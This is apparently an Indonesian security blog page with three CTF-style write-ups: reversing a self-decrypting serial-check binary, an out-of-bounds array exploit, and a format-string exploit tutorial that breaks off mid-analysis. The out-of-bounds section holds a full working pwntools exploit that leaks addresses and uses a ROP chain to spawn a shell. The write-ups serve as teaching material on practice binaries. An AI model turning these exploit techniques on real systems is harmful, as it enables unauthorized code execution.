Rabu, 06 Desember 2017

Write Up Resqua - Reversing. Hacktoday.

Write Up CTF - Resqua

Write Up CTF Hacktoday - Reversing : Resqua

Binary dapat didownload disini https://gist.github.com/alfakatsuki/2544d829b8e0782802cd1e20fa153b75

Diberikan binary dengan spesifikasi berikut

alfakatsuki@Ubuntu ~/C/H/2/r/resqua> file resqua
resqua: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=9b1245d862484ea5086e05c670d9ef40e312a05e, not stripped

alfakatsuki@Ubuntu ~/C/H/2/r/resqua> ./resqua 
Enter a valid serial number: 1 1 1 1 1
Wrong format!

Binary tersebut meminta input berbentuk serial number. Lebih jelas mari kita coba lihat decompile dari binary tersebut di IDA.

Berikut adalah decompile dari fungsi main

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unlock(*(_QWORD *)&argc, argv, envp);
  ((void (*)(void))run)();
  return 0;
}

Berikut adalah pseudocode dari fungsi unlock

int unlock()
{
  signed __int64 v0; // ST20_8
  __int64 v1; // ST30_8
  signed int i; // [rsp+4h] [rbp-3Ch]
  int v4; // [rsp+14h] [rbp-2Ch]
  void *addr; // [rsp+38h] [rbp-8h]

  v0 = *(signed int *)byte_400009 + 0x400000LL;
  v1 = sysconf(30);
  addr = (void *)(-v1 & v0);
  v4 = *(_DWORD *)byte_400009 + *(signed __int16 *)&byte_400009[4] + 0x400000 - (-(signed int)v1 & v0);
  mprotect(addr, v4, 7);
  for ( i = 0; i < *(signed __int16 *)&byte_400009[4]; ++i )
    *((_BYTE *)&dword_400000 + *(signed int *)byte_400009 + i) ^= *((_BYTE *)&dword_400000 + i % 3 + 1);
  return mprotect(addr, v4, 5);
}

Yang menarik dari program ini adalah program tersebut adalah opcode dari fungsi run yang terenkripsi dan akan di dekripsi saat fungsi unlock dijalankan. Ketika fungsi unlock sudah dijalankan binary baru akan mengeksekusi pertintah yang sebenarnya pada fungsi run.

Kita coba lihat di IDA terdapat segment .lock dimana terdapat fungsi run() dan fungsi c() yang assembly code nya terenkripsi.

.lock:0x0000000000400992 ; ------------------
.
.
.lock:0x0000000000400BA0 ; ----------------
.

Dengan menggunakan GDB. Kita coba break program setelah program menjalankan fungsi unlock(). Kita coba break pada 0x0000000000400903. Sebelumnya kita coba break di main untuk melihat opcode yang masih terenkripsi.

gdb-peda$ x/100gx 0x400992
0x400992 <c>: 0xcda93bc5a0cf0410 0x42394c45421aa93b
0x4009a2 <c+16>: 0x816fae464c4546f4 0x46ae464c4547b000
0x4009b2 <c+32>: 0x00c5a0006fb000cd 0xb63345aa31c644b0
0x4009c2 <c+48>: 0x4385d24345aa31c6 0xa0cf0410851185f0
0x4009d2 <run+4>: 0x42c70d22cc81c504 0x09cc0e4c45466460
0x4009e2 <run+20>: 0x450647fdf98c74be 0xba30ad464c4546f4
0x4009f2 <run+36>: 0xc50da609c80eb3ba 0xc80eb3babaecad81
0x400a02 <run+52>: 0xba08ad81c50da609 0x543055b4c60eb3ba
0x400a12 <run+68>: 0x55336179a209f349 0x4e39687aa500f043
0x400a22 <run+84>: 0x43316b70ab03fa4a 0xb94aa445064793f9
0x400a32 <run+100>: 0x814c45471facb9b3 0x6aae464c4546c000
0x400a42 <run+116>: 0x01f043dd0ec000cd 0xb6f351337c79a649
0x400a52 <run+132>: 0xb3babdaaad460c4e 0xb93aa445464c44f9
.
.
.

Berikut adalah opcode dari binary yang telah di dekripsi dan telah dijalankan.

0x400992 <c>: 0x81ec7d89e5894855 0x077f00000456ec7d
0x4009a2 <c+16>: 0xc723eb00000000b8 0x0aeb00000001fc45
0x4009b2 <c+32>: 0x4583ec4529fc458b 0xf07f00ec7d8302fc
0x4009c2 <c+48>: 0x0fc0940f00ec7d83 0xe5894855c35dc0b6
0x4009d2 <run+4>: 0x048b486480c48348 0x4589480000002825
0x4009e2 <run+20>: 0x00400bb8bfc031f8 0xfc7ce800000000b8
0x4009f2 <run+36>: 0x8948e0458d48ffff 0x8d48fffffca0e8c7
0x400a02 <run+52>: 0xfc44e8c78948e045 0x187513f88348ffff
0x400a12 <run+68>: 0x10752d3ce445b60f 0x08752d3ce945b60f
0x400a22 <run+84>: 0x0f742d3cee45b60f 0xfc0ce800400bd6bf
0x400a32 <run+100>: 0xc700000153e9ffff 0x26eb000000008c45
0x400a42 <run+116>: 0x44b60f98488c458b 0xf0bf1475303ce005
0x400a52 <run+132>: 0xfffffbe6e800400b 0xfc7ce800000001bf
0x400a62 <run+148>: 0x7d83018c4583ffff 0xe04d8d48d47e138c
0x400a72 <run+164>: 0x000004baa0458d48 0xe8c78948ce894800
0x400a82 <run+180>: 0x00a445c6fffffbaa 0x05488d48e0458d48
0x400a92 <run+196>: 0x000004bab0458d48 0xe8c78948ce894800
0x400aa2 <run+212>: 0x00b445c6fffffb8a 0x0a488d48e0458d48
0x400ab2 <run+228>: 0x000004bac0458d48 0xe8c78948ce894800
0x400ac2 <run+244>: 0x00c445c6fffffb6a 0x0f488d48e0458d48
0x400ad2 <run+260>: 0x000004bad0458d48 0xe8c78948ce894800
0x400ae2 <run+276>: 0x00d445c6fffffb4a 0xe8c78948a0458d48
0x400af2 <run+292>: 0x48904589fffffbda 0xcbe8c78948b0458d
0x400b02 <run+308>: 0x8d48944589fffffb 0xfbbce8c78948c045
0x400b12 <run+324>: 0x458d48984589ffff 0xfffbade8c78948d0
0x400b22 <run+340>: 0x8990458b9c4589ff 0xc085fffffe62e8c7
0x400b32 <run+356>: 0xe8c78994458b4e74 0x4074c085fffffe54
0x400b42 <run+372>: 0xfe46e8c78998458b 0x458b3274c085ffff
0x400b52 <run+388>: 0xfffffe38e8c7899c 0x3b90458b2474c085
0x400b62 <run+404>: 0x3b94458b1c7d9445 0x3b98458b147d9845
0x400b72 <run+420>: 0x400c10bf0c7d9c45 0x0aebfffffac0e800
0x400b82 <run+436>: 0xfab4e800400bf0bf 0x4864f8458b48ffff
0x400b92 <run+452>: 0x7400000028250433 0xc3c9fffffac0e805

Binary ini dapat dianalisis langsung melalui disassemblynya. Namun kita coba cara lain yaitu dengan melakukan patch pada binary agar binary dapat di decompile dengan opcode yang benar.

Berikut adalah skrip yang digunakan untuk melakukan patching pada binary

from pwn import *
from sys import *

binary = open('resqua').read()

# Cari opcode ini untuk dipatch
cari = p64(0xcda93bc5a0cf0410)

realopcode = [0x81ec7d89e5894855 ,0x077f00000456ec7d ,0xc723eb00000000b8 ,0x0aeb00000001fc45 ,0x4583ec4529fc458b ,0xf07f00ec7d8302fc ,0x0fc0940f00ec7d83 ,0xe5894855c35dc0b6 ,0x048b486480c48348 ,0x4589480000002825 ,0x00400bb8bfc031f8 ,0xfc7ce800000000b8 ,0x8948e0458d48ffff ,0x8d48fffffca0e8c7 ,0xfc44e8c78948e045 ,0x187513f88348ffff ,0x10752d3ce445b60f ,0x08752d3ce945b60f ,0x0f742d3cee45b60f ,0xfc0ce800400bd6bf ,0xc700000153e9ffff ,0x26eb000000008c45 ,0x44b60f98488c458b ,0xf0bf1475303ce005 ,0xfffffbe6e800400b ,0xfc7ce800000001bf ,0x7d83018c4583ffff ,0xe04d8d48d47e138c ,0x000004baa0458d48 ,0xe8c78948ce894800 ,0x00a445c6fffffbaa ,0x05488d48e0458d48 ,0x000004bab0458d48 ,0xe8c78948ce894800 ,0x00b445c6fffffb8a ,0x0a488d48e0458d48 ,0x000004bac0458d48 ,0xe8c78948ce894800 ,0x00c445c6fffffb6a ,0x0f488d48e0458d48 ,0x000004bad0458d48 ,0xe8c78948ce894800 ,0x00d445c6fffffb4a ,0xe8c78948a0458d48 ,0x48904589fffffbda ,0xcbe8c78948b0458d ,0x8d48944589fffffb ,0xfbbce8c78948c045 ,0x458d48984589ffff ,0xfffbade8c78948d0 ,0x8990458b9c4589ff ,0xc085fffffe62e8c7 ,0xe8c78994458b4e74 ,0x4074c085fffffe54 ,0xfe46e8c78998458b ,0x458b3274c085ffff ,0xfffffe38e8c7899c ,0x3b90458b2474c085 ,0x3b94458b1c7d9445 ,0x3b98458b147d9845 ,0x400c10bf0c7d9c45 ,0x0aebfffffac0e800 ,0xfab4e800400bf0bf ,0x4864f8458b48ffff ,0x7400000028250433 ,0xc3c9fffffac0e805 ]

real_opcode = ""
for i in realopcode:
 real_opcode += p64(i)

# cari opcode
start_patch = 0
for i in range(len(binary)):
 if(cari == binary[i:i+8]):
  # print "ketemu"

  start_patch = i
  break

# Mulai patching
binary = list(binary)

for i in real_opcode:
 binary[start_patch] = i
 start_patch += 1


# done patching
print "".join(binary)

# python patch.py > resqua_patched

Setelah dicek binary dengan file, binary masih valid sebagai file ELF. Kita coba decompile. Fungsi run() dan fungsi c() sudah dapat didecompile.

Berikut fungsi run()

unsigned __int64 run()
{
  signed int i; // [rsp+Ch] [rbp-74h]
  int v2; // [rsp+10h] [rbp-70h]
  int v3; // [rsp+14h] [rbp-6Ch]
  int v4; // [rsp+18h] [rbp-68h]
  int v5; // [rsp+1Ch] [rbp-64h]
  char dest; // [rsp+20h] [rbp-60h]
  char v7; // [rsp+24h] [rbp-5Ch]
  char nptr; // [rsp+30h] [rbp-50h]
  char v9; // [rsp+34h] [rbp-4Ch]
  char v10; // [rsp+40h] [rbp-40h]
  char v11; // [rsp+44h] [rbp-3Ch]
  char v12; // [rsp+50h] [rbp-30h]
  char v13; // [rsp+54h] [rbp-2Ch]
  char s[4]; // [rsp+60h] [rbp-20h]
  char v15; // [rsp+64h] [rbp-1Ch]
  _BYTE v16[3]; // [rsp+65h] [rbp-1Bh]
  char v17; // [rsp+69h] [rbp-17h]
  _BYTE v18[6]; // [rsp+6Ah] [rbp-16h]
  char v19; // [rsp+6Eh] [rbp-12h]
  unsigned __int64 v20; // [rsp+78h] [rbp-8h]

  v20 = __readfsqword(0x28u);
  printf("Enter a valid serial number: ");
  gets(s);
  if ( strlen(s) == 19 && v15 == 45 && v17 == 45 && v19 == 45 )
  {
    for ( i = 0; i <= 19; ++i )
    {
      if ( s[i] == 48 )
      {
        puts("\x1B[31mInvalid serial number!\x1B[0m");
        exit(1);
      }
    }
    strncpy(&dest, s, 4uLL);
    v7 = 0;
    strncpy(&nptr, v16, 4uLL);
    v9 = 0;
    strncpy(&v10, v18, 4uLL);
    v11 = 0;
    strncpy(&v12, &v18[5], 4uLL);
    v13 = 0;
    v2 = atoi(&dest);
    v3 = atoi(&nptr);
    v4 = atoi(&v10);
    v5 = atoi(&v12);
    if ( (unsigned int)c((unsigned int)v2, &v18[5])
      && (unsigned int)c((unsigned int)v3, &v18[5])
      && (unsigned int)c((unsigned int)v4, &v18[5])
      && (unsigned int)c((unsigned int)v5, &v18[5])
      && v2 < v3
      && v3 < v4
      && v4 < v5 )
    {
      puts("\x1B[32mCongrats, valid serial number!\x1B[0m");
    }
    else
    {
      puts("\x1B[31mInvalid serial number!\x1B[0m");
    }
  }
  else
  {
    puts("\x1B[31mWrong format!\x1B[0m");
  }
  return __readfsqword(0x28u) ^ v20;
}

Fungsi c()

_BOOL8 __fastcall c(signed int a1)
{
  signed int v2; // [rsp+0h] [rbp-14h]
  signed int v3; // [rsp+10h] [rbp-4h]

  v2 = a1;
  if ( a1 <= 1110 )
    return 0LL;
  v3 = 1;
  while ( v2 > 0 )
  {
    v2 -= v3;
    v3 += 2;
  }
  return v2 == 0;
}

Dari pseudocode tersebut. Didapat konstrain untuk serial number.

  1. Memiliki Panjang string 19. Dengan bentuk serial number xxxx-xxxx-xxxx-xxxx dengan x adalah angka
  2. Angka tidak boleh memiliki digit 0
  3. Angka tidak boleh <= 1110
  4. Angka1 < Angka2 < Angka3 < Angka4

Dengan skrip sederhana berikut kita dapat mendapatkan beberapa angka yang benar

arr = []

k = 1
hasil = 0
for i in range(100):
  arr.append(hasil)
  hasil += k
  k += 2

print arr

Kita misalkan pilih yang memenuhi 1681-1764-1849-1936

alfakatsuki@Ubuntu ~/Desktop> ./resqua 
Enter a valid serial number: 1681-1764-1849-1936
Congrats, valid serial number!

Sabtu, 14 Oktober 2017

Out Of Bound Array

oob
Belakangan ini beberapa ctf yang saya ikuti banyak sekali soal tentang ini. Dan sayangnya sedikit yang bisa saya solve ketika lomba. Karena itu saya menuliskan ini untuk mengarsipkan apa yang sudah saya pelajari mulai dari yang paling sederhana.
Out of bound array adalah kondisi saat user bisa memasukkan index array diluar dari space array yang diberikan, sehingga user dapat mengetahui, membocorkan sampai mengubah isi memori di luar array. Kita dapat melakukan leak terhadap canary dan PIE sampai mengubah return address tergantung dari program yang diberikan.
Kali ini kita akan coba demonstrasikan out of bound array untuk memanggil shell dengan teknik return to libc biasa.
Diberikan binary 64 bit dengan source code berikut
#include <stdio.h>
#include <stdlib.h>

//compile with gcc -o oob oob.c
//this binary is for learning about out of bound vuln to get a shell

int vuln(){
 char junk[10];
 char pil = 'y';
 int index;
 printf("x for quit\ni for isi\nr for read\n");
 char newline;
 while(pil != 'x'){

  scanf("%c", &pil);

  if(pil == 'i'){
   //filling
   scanf("%c", &newline);
   scanf("%d", &index);
   scanf("%c", &newline);
   scanf("%c", &junk[index]);
   printf("Index %d filled\n", index);
  }
  else if (pil == 'r'){
   scanf("%d", &index);
   printf("Your char on index %d is %d\n", index, junk[index]);
  }
 }
}

int main()
{
 vuln();
 return 0;
}
Berikut adalah proteksi dari binary yang bersangkutan.
[*] '/home/alfakatsuki/CTF/practice/oob/oob'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Program sederhana ini user dapat melihat isi memori pada index sekian, dan dapat mengisi memori pada index sekian sehingga kita dapat mengoverwrite RIP sesuai dengan keinginan kita. Kita juga dapat melakukan leak terhadap RIP sekarang untuk membypass PIE.
Goals dari exploit kita adalah mendapatkan shell. Sehingga langkah langkah yang kita lakukan adalah sebagai berikut :
  1. Leak RIP dengan out of bound array
  2. Hitung base PIE address dengan RIP - offset RIP
  3. Menggunakan return to libc untuk Leak libc. Ambil contoh kita menggunakan printf. Seluruh alamat fungsi atau gadget yang ada di segment text, dapat dihitung dengan base PIE + offset
Mari kita coba debug dengan GDB-PEDA untuk mengetahui dimana selisih index antara inputan kita dengan RIP.
Kita akan break di offset 0x000000000000089B. Karena PIE aktif dan aslr di GDB-PEDA mati, maka alamat break kita akan menjadi 0x000055555555489B
gdb-peda$ r
Starting program: /home/alfakatsuki/CTF/practice/oob/oob
x for quit
i for isi
r for read
i
1
A
Index 1 filled
i
0
A
Index 0 filled
i
2
A
Index 2 filled
i
3
A
Index 3 filled

gdb-peda$ find AAAA
Searching for 'AAAA' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0x7fffffffda7e ("AAAAUUUU")

gdb-peda$ i f
Stack level 0, frame at 0x7fffffffdaa0:
 rip = 0x55555555489b in vuln; saved rip = 0x5555555548f4
 called by frame at 0x7fffffffdab0
 Arglist at 0x7fffffffda90, args:
 Locals at 0x7fffffffda90, Previous frames sp is 0x7fffffffdaa0
 Saved registers:
  rbp at 0x7fffffffda90, rip at 0x7fffffffda98
gdb-peda$


gdb-peda$ x/100bx 0x7fffffffda7e
0x7fffffffda7e: 0x41 0x41 0x41 0x41 0x55 0x55 0x55 0x55
0x7fffffffda86: 0x00 0x00 0x00 0xe3 0xe1 0x1e 0x04 0xa2
0x7fffffffda8e: 0xdb 0x2a 0xa0 0xda 0xff 0xff 0xff 0x7f
0x7fffffffda96: 0x00 0x00 0xf4 0x48 0x55 0x55 0x55 0x55
0x7fffffffda9e: 0x00 0x00 0x00 0x49 0x55 0x55 0x55 0x55
0x7fffffffdaa6: 0x00 0x00 0xf1 0x03 0xa3 0xf7 0xff 0x7f
0x7fffffffdaae: 0x00 0x00 0x00 0x00 0x04 0x00 0x00 0x00
0x7fffffffdab6: 0x00 0x00 0x88 0xdb 0xff 0xff 0xff 0x7f
0x7fffffffdabe: 0x00 0x00 0x08 0xa5 0xb9 0xf7 0x01 0x00
0x7fffffffdac6: 0x00 0x00 0xe6 0x48 0x55 0x55 0x55 0x55
0x7fffffffdace: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffdad6: 0x00 0x00 0x2b 0x45 0x28 0x8c 0x3c 0x4b
0x7fffffffdade: 0xb4 0x69 0x80 0x46
Inputan kita berada pada 0x7fffffffda7e dan RIP berada di 0x7fffffffda98 sehingga selisih nya menjadi 26. Kita sudah mendapat semua informasi yang kita butuhkan. Mari kita coba susun exploit yang dapat kita lakukan.
from pwn import *

# offset RIP berada pada index 26

p = process('./oob')
e = ELF('./oob')

def isi(i, ch):
 p.sendline('i')
 p.sendline(str(i))
 p.sendline(ch)
 p.recvuntil('filled\n')

def baca(i):
 p.sendline('r')
 p.sendline(str(i))
 p.recvuntil('is ')
 leaked = chr(eval(p.recvline()[:-1]) & 0xff)
 return leaked

# Leaked RIP for find base PIE address

basepie = ''
offset_rip = 0x8f4
for i in range(26, 26+8):
 basepie += baca(i)

basepie = u64(basepie)
basepie -= offset_rip


# Get Base PIE
log.info("Base PIE\t: 0x{0:x}".format(basepie))

gotprintf = p64(e.got['printf'] + basepie)
puts = p64(e.symbols['puts'] + basepie)
main = p64(e.symbols['main'] + basepie)
poprdi = p64(0x0000000000000963 + basepie)
poprsir15 = p64(0x0000000000000961 + basepie)
payload = poprdi + gotprintf + puts + main


log.info('Leaking libc')
k = 26
for i in payload:
 isi(k, i)
 k += 1

#Get Libc printf address
p.sendline('x')
printf = p.recvline()
printfaddr =  u64(printf[:-1]+'\x00\x00')

log.info('Printf libc\t: 0x{0:x}'.format(printfaddr))

offset___libc_start_main_ret = 0x203f1
offset_system = 0x00000000000456a0
offset_dup2 = 0x00000000000f8fa0
offset_read = 0x00000000000f8880
offset_write = 0x00000000000f88e0
offset_str_bin_sh = 0x18ac40
offset_printf = 0x0000000000056510

# compute binsh string and system function in libc
base = printfaddr - offset_printf
sh = base + offset_str_bin_sh
system = base + offset_system

# Gaining shell
payload = poprdi + p64(sh) + p64(system)

log.info('Gaining shell')
k = 26
for i in payload:
 isi(k, i)
 k += 1

p.sendline('x')
p.interactive()
Mari kita coba jalankan dengan penuh semangat.
╭─── alfakatsuki@Ubuntu:[~/CTF/practice/oob]:
╰──▶ python sploit.py
[+] Starting local process './oob': pid 10632
[*] '/home/alfakatsuki/CTF/practice/oob/oob'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Base PIE    : 0x5567a13d8000
[*] Leaking libc
[*] Printf libc    : 0x7fcf7766d510
[*] Gaining shell
[*] Switching to interactive mode
$ ls
a.out  oob    oob.id0  oob.id2    oob.til            peda-session-oob.txt
core   oob.c  oob.id1  oob.nam    peda-session-a.out.txt    sploit.py
$ id
uid=1000(alfakatsuki) gid=1000(alfakatsuki) groups=1000(alfakatsuki),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),121(lpadmin),131(sambashare),998(docker)
$  
Ternyata berhasil. Sekian eksploit sederhana mengenai out of bound array. Variasi dari eksploit ini bermacam macam. Jadi ini hanya merupakan pengantar dari apa yang baru saya bisa. Terimakasih :)

Minggu, 02 Juli 2017

Format string exploit

format_string1

Quest

Diberikan source code dan binary dari soal.

#include <stdio.h>
#include <stdlib.h>

/*
gcc -m32 -o formatstring formatstring2.cpp

*/
int main(int argc, char ** argv)
{
  int var;
  int check = 0x04030201;

  char fmt[128];
  if(argc<2)
    exit(0);

  memset(fmt, 0, sizeof(fmt));

  printf("Check at 0x%x\n", &check);
  printf("argv[1] = [%s]\n", argv[1]);

  snprintf(fmt, sizeof(fmt), argv[1]);

  if((check!= 0x04030201) && (check!= 0xdeadbeef))
    printf("\nYou are on the rigth way\n");

  printf("fmt = [%s]\n", fmt);
  printf("check=0x%x\n", check);

  if(check == 0xdeadbeef){

    printf("Yeah\n");
    system("/bin/dash");
  }
  return 0;
}

Tugas kita disini adalah untuk mengoverwrite variable check agar berisi 0xdeadbeef. Input pada binary tersebut dimasukkan melalui argumen saat menjalan kan program. Apabila kita coba masukan argumen asal program akan menampilkan sebagai berikut

alfakatsuki@justPC:~/Desktop/RootMe$ ./formatstring AAAA
Check at 0xff90c178
argv[1] = [AAAA]
fmt = [AAAA]
check=0x4030201

Apabila kita lihat source code pada program. Program memiliki format string vulnerable.

Format string adalah type data yang akan dievaluasi oleh bahasa c. Terdapat beberapa type data yang dimiliki oleh bahasa c.

Untuk mengecek vulnerable ini kita dapat menginputkan %x kedalam program

alfakatsuki@justPC:~/Desktop/RootMe$ ./formatstring '%x'
Check at 0xffa05ef8
argv[1] = [%x]
fmt = [565e16ba]
check=0x4030201

Ooops alamat pada variable cek berubah. Kita matikan dahulu ASLR pada komputer agar exploit yang kita lakukan lebih mudah.

sudo echo 0 > /proc/sys/kernel/randomize_va_space

Terdapat beberapa exploitasi yang dapat dilakukan dengan format string vuln. Namun yang akan kita dibahas disini adalah melihat isi memori, dan mengoverwrite memori.

Apabila kita memberikan input '%x' pada program. Program akan mencetak isi memori pada alamat tersebut.

Kita coba debug dengan debugger kesayangan kita gdb + peda untuk melihat isi stack.

alfakatsuki@justPC:~/Desktop/RootMe$ gdb -q formatstring
Reading symbols from formatstring...(no debugging symbols found)...done.


gdb-peda$ b *main #kita pasang breakpoint di main
gdb-peda$ r AAAABBBB #kita coba jalankan dengan payload AAAABBBB tersebut
gdb-peda$ pdisas main #berikut adalah informasi disassembly dari fungsi main
Dump of assembler code for function main:
=> 0x565556a0 <+0>: lea    ecx,[esp+0x4]
   0x565556a4 <+4>: and    esp,0xfffffff0
   0x565556a7 <+7>: push   DWORD PTR [ecx-0x4]
   0x565556aa <+10>:  push   ebp
   0x565556ab <+11>:  mov    ebp,esp
   0x565556ad <+13>:  push   ebx
   0x565556ae <+14>:  push   ecx
   0x565556af <+15>:  sub    esp,0xa0
   0x565556b5 <+21>:  call   0x56555570 <__x86.get_pc_thunk.bx>
   0x565556ba <+26>:  add    ebx,0x1902
   0x565556c0 <+32>:  mov    eax,ecx
   0x565556c2 <+34>:  mov    edx,DWORD PTR [eax+0x4]
   0x565556c5 <+37>:  mov    DWORD PTR [ebp-0x9c],edx
   0x565556cb <+43>:  mov    ecx,DWORD PTR gs:0x14
   0x565556d2 <+50>:  mov    DWORD PTR [ebp-0xc],ecx
   0x565556d5 <+53>:  xor    ecx,ecx
   0x565556d7 <+55>:  mov    DWORD PTR [ebp-0x90],0x4030201
   0x565556e1 <+65>:  cmp    DWORD PTR [eax],0x1
   0x565556e4 <+68>:  jg     0x565556f0 <main+80>
   0x565556e6 <+70>:  sub    esp,0xc
   0x565556e9 <+73>:  push   0x0
   0x565556eb <+75>:  call   0x56555510
   0x565556f0 <+80>:  sub    esp,0x4
   0x565556f3 <+83>:  push   0x80
   0x565556f8 <+88>:  push   0x0
   0x565556fa <+90>:  lea    eax,[ebp-0x8c]
   0x56555700 <+96>:  push   eax
   0x56555701 <+97>:  call   0x56555520
   0x56555706 <+102>: add    esp,0x10
   0x56555709 <+105>: sub    esp,0x8
   0x5655570c <+108>: lea    eax,[ebp-0x90]
   0x56555712 <+114>: push   eax
   0x56555713 <+115>: lea    eax,[ebx-0x16fc]
   0x56555719 <+121>: push   eax
   0x5655571a <+122>: call   0x565554e0
   0x5655571f <+127>: add    esp,0x10
   0x56555722 <+130>: mov    eax,DWORD PTR [ebp-0x9c]
   0x56555728 <+136>: add    eax,0x4
   0x5655572b <+139>: mov    eax,DWORD PTR [eax]
   0x5655572d <+141>: sub    esp,0x8
   0x56555730 <+144>: push   eax
   0x56555731 <+145>: lea    eax,[ebx-0x16ed]
   0x56555737 <+151>: push   eax
   0x56555738 <+152>: call   0x565554e0
   0x5655573d <+157>: add    esp,0x10
   0x56555740 <+160>: mov    eax,DWORD PTR [ebp-0x9c]
   0x56555746 <+166>: add    eax,0x4
   0x56555749 <+169>: mov    eax,DWORD PTR [eax]
   0x5655574b <+171>: sub    esp,0x4
   0x5655574e <+174>: push   eax
   0x5655574f <+175>: push   0x80
   0x56555754 <+180>: lea    eax,[ebp-0x8c]
   0x5655575a <+186>: push   eax
   0x5655575b <+187>: call   0x56555528
   0x56555760 <+192>: add    esp,0x10
   0x56555763 <+195>: mov    eax,DWORD PTR [ebp-0x90]
   0x56555769 <+201>: cmp    eax,0x4030201
   0x5655576e <+206>: je     0x5655578f <main+239>
   0x56555770 <+208>: mov    eax,DWORD PTR [ebp-0x90]
   0x56555776 <+214>: cmp    eax,0xdeadbeef
   0x5655577b <+219>: je     0x5655578f <main+239>
   0x5655577d <+221>: sub    esp,0xc
   0x56555780 <+224>: lea    eax,[ebx-0x16dd]
   0x56555786 <+230>: push   eax
   0x56555787 <+231>: call   0x565554f8
   0x5655578c <+236>: add    esp,0x10
   0x5655578f <+239>: sub    esp,0x8
   0x56555792 <+242>: lea    eax,[ebp-0x8c]
   0x56555798 <+248>: push   eax
   0x56555799 <+249>: lea    eax,[ebx-0x16c3]
   0x5655579f <+255>: push   eax
   0x565557a0 <+256>: call   0x565554e0
   0x565557a5 <+261>: add    esp,0x10
   0x565557a8 <+264>: mov    eax,DWORD PTR [ebp-0x90]
   0x565557ae <+270>: sub    esp,0x8
   0x565557b1 <+273>: push   eax
   0x565557b2 <+274>: lea    eax,[ebx-0x16b7]
   0x565557b8 <+280>: push   eax
   0x565557b9 <+281>: call   0x565554e0
   0x565557be <+286>: add    esp,0x10
   0x565557c1 <+289>: mov    eax,DWORD PTR [ebp-0x90]
   0x565557c7 <+295>: cmp    eax,0xdeadbeef
   0x565557cc <+300>: jne    0x565557f2 <main+338>
   0x565557ce <+302>: sub    esp,0xc
   0x565557d1 <+305>: lea    eax,[ebx-0x16ab]
   0x565557d7 <+311>: push   eax
   0x565557d8 <+312>: call   0x565554f8
   0x565557dd <+317>: add    esp,0x10
   0x565557e0 <+320>: sub    esp,0xc
   0x565557e3 <+323>: lea    eax,[ebx-0x16a6]
   0x565557e9 <+329>: push   eax
   0x565557ea <+330>: call   0x56555500
   0x565557ef <+335>: add    esp,0x10
   0x565557f2 <+338>: mov    eax,0x0
   0x565557f7 <+343>: mov    edx,DWORD PTR [ebp-0xc]
   0x565557fa <+346>: xor    edx,DWORD PTR gs:0x14
   0x56555801 <+353>: je     0x56555808 <main+360> #kita coba break disini
   0x56555803 <+355>: call   0x56555890 <__stack_chk_fail_local>
   0x56555808 <+360>: lea    esp,[ebp-0x8]
   0x5655580b <+363>: pop    ecx
   0x5655580c <+364>: pop    ebx
   0x5655580d <+365>: pop    ebp
   0x5655580e <+366>: lea    esp,[ecx-0x4]
   0x56555811 <+369>: ret 
gdb-peda$ b *0x56555801 #kita pasang breakpoint diakhir akhir sebelum program berakhir untuk melihat isi stack
gdb-peda$ c

Berikut adalah informasi yang kita dapatkan

[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x56556fbc --> 0x1edc
ECX: 0x7ffffff0
EDX: 0x0
ESI: 0x2
EDI: 0xf7fa5000 --> 0x1b5db0
EBP: 0xffffce88 --> 0x0
ESP: 0xffffcde0 --> 0x5d9ebbe2
EIP: 0x56555801 (<main+353>:  je     0x56555808 <main+360>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565557f2 <main+338>: mov    eax,0x0
   0x565557f7 <main+343>: mov    edx,DWORD PTR [ebp-0xc]
   0x565557fa <main+346>: xor    edx,DWORD PTR gs:0x14
=> 0x56555801 <main+353>: je     0x56555808 <main+360>
 | 0x56555803 <main+355>: call   0x56555890 <__stack_chk_fail_local>
 | 0x56555808 <main+360>: lea    esp,[ebp-0x8]
 | 0x5655580b <main+363>: pop    ecx
 | 0x5655580c <main+364>: pop    ebx
 |->   0x56555808 <main+360>: lea    esp,[ebp-0x8]
       0x5655580b <main+363>: pop    ecx
       0x5655580c <main+364>: pop    ebx
       0x5655580d <main+365>: pop    ebp
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0xffffcde0 --> 0x5d9ebbe2
0004| 0xffffcde4 --> 0x3f6
0008| 0xffffcde8 --> 0xf7e80629 (add    esi,0x1249d7)
0012| 0xffffcdec --> 0xffffcf34 --> 0xffffd12d ("/home/alfakatsuki/Desktop/RootMe/formatstring")
0016| 0xffffcdf0 --> 0xffffce2e --> 0x0
0020| 0xffffcdf4 --> 0x1
0024| 0xffffcdf8 --> 0x4030201
0028| 0xffffcdfc ("AAAABBBB")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x56555801 in main ()
gdb-peda$

Kita breakpoint setelah program mencetak sehingga hasil output dapat di lihat

Check at 0xffffcdf8
argv[1] = [AAAABBBB]
fmt = [AAAABBBB]
check=0x4030201

Kita coba examine memori tempat AAAABBBB( atau dalam heksanya 0x41414141 0x42424242) berada yaitu di alamat 0xfffcdfc.

gdb-peda$ x/100wx 0xffffcdfc-32
0xffffcddc: 0x565556ba  0x5d9ebbe2  0x000003f6  0xf7e80629
0xffffcdec: 0xffffcf34  0xffffce2e  0x00000001  0x04030201
0xffffcdfc: 0x41414141  0x42424242  0x00000000  0x00000000

Terlihat ada beberapa isi binary yang menarik disana. Terdapat binary 0x04030201 yaitu isi dari variabel Check. Lalu 8 byte selanjutnya adalah isi dari argumen yang kita input kedalam program.

Alamat dari variabel check adalah 0xffffcdec (Memori bagian kanan) + 12 = 0xffffcdf8

Sedangkan alamat pada AAAABBBB adalah 0xffffcdfc.

